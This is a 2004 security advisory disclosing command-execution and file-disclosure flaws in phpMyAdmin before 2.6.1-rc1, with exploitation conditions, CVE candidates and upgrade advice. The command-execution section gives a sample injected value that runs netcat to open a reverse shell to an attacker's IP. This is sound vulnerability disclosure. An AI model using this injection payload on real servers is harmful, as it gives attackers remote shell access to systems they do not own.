Exaprobe
www.exaprobe.com
Security Advisory
Advisory Name: Multiple vulnerabilities in phpMyAdmin
Release Date: 13 December 2004
Application: phpMyAdmin prior to 2.6.1-rc1
Platform: Any webserver running PHP
Severity: Remote code execution
Author: Nicolas Gregoire <[email protected]>
Vendor Status: Updated code is available
CVE Candidates: CAN-2004-1147 and CAN-2004-1148
Reference: www.exaprobe.com/labs/advisories/esa-2004-1213.html
phpMyAdmin is a tool written in PHP intended to handle the
administration of MySQL over the Web. Currently it can create and
drop databases, create/drop/alter tables, delete/edit/add fields,
execute any SQL statement, manage keys on fields, manage privileges,
export data into various formats and is available in 47 languages.
Command execution :
- bug introduced in 2.6.0-pl2
- attacker does *not* need access to the phpMyAdmin interface
- PHP safe mode must be off
- external transformations must be activated
- sample of offensive value : F\';nc -e /bin/sh $IP 80;echo \'A
File disclosure :
- attacker need access to the phpMyAdmin interface
- PHP safe mode must be off
- $cfg['UploadDir'] must be defined
- exploitation is done via 'sql_localfile'
After notification by Exaprobe, maintainers of the phpMyAdmin
project have released version 2.6.1-rc1 which fixes these two
vulnerabilities.
Upgrade to 2.6.1-rc1 or newer.
Desactivate uploads and transformations if possible.
The Common Vulnerabilities and Exposures (CVE) project has assigned
the following names to these issues. These are candidates for
inclusion in the CVE list (http://cve.mitre.org), which standardizes
names for security problems.
CAN-2004-1147 Command execution in phpMyAdmin
CAN-2004-1148 File disclosure in phpMyAdmin
–
Nicolas Gregoire ----- Consultant en Sécurité des Systèmes d'Information
[email protected] ------[ ExaProbe ]------ http://www.exaprobe.com/
PGP KeyID:CA61B44F FingerPrint:1CC647FF1A55664BA2D2AFDACA6A21DACA61B44F